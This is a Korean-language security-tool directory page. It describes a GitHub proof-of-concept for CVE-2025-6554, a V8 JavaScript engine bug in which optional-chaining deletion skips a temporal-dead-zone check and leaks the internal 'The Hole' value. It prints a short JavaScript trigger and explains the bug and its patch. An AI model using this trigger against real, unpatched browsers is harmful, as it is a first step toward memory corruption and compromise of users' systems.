Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-6554 — CVE-2025-6554에 대한 개념 증명 익스플로잇: V8 JavaScript 엔진의 선택적 체이닝 삭제 시 TDZ 우회를 통한 타입 혼동으로, The Hole 이스케이프를 가능하게 하여 메모리 손상을 초래합니다. | Kitploit
도구/GitHubGitHub/pwntoday/cve-2025-6554
Vulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubpwntoday/cve-2025-6554

CVE-2025-6554

CVE-2025-6554에 대한 개념 증명 익스플로잇: V8 JavaScript 엔진의 선택적 체이닝 삭제 시 TDZ 우회를 통한 타입 혼동으로, The Hole 이스케이프를 가능하게 하여 메모리 손상을 초래합니다.

저장소 보기
211개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-6554

root@kitploit:~
function leak_hole() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
function pwn() {
    let hole = leak_hole();
    %DebugPrint(hole);
}
pwn();

버그

변수 y가 선언되기 전에 접근되었습니다. 일반적으로 이는 ReferenceError(TDZ)를 발생시켜야 하지만, 구형 V8에서는 delete x?.[y]와 결합될 때 검사가 실패하여 내부 센티널 값인 "The Hole"을 반환했습니다.

패치 이전

V8은 TDZ를 한 번만 확인한 후, y가 유효하다고 잘못 가정했습니다. 이로 인해 "The Hole"이 사용자 코드로 유출될 수 있었습니다.

수정

패치는 모든 접근 시마다 새로운 TDZ 검사(ThrowReferenceErrorIfHole)를 강제하여, 초기화 전의 y가 항상 예외를 발생시키도록 합니다.

영향: 공격자는 "The Hole"을 획득하여 타입 혼동, 스택 트릭 또는 범위 우회에 악용할 수 있습니다.

도구 다운로드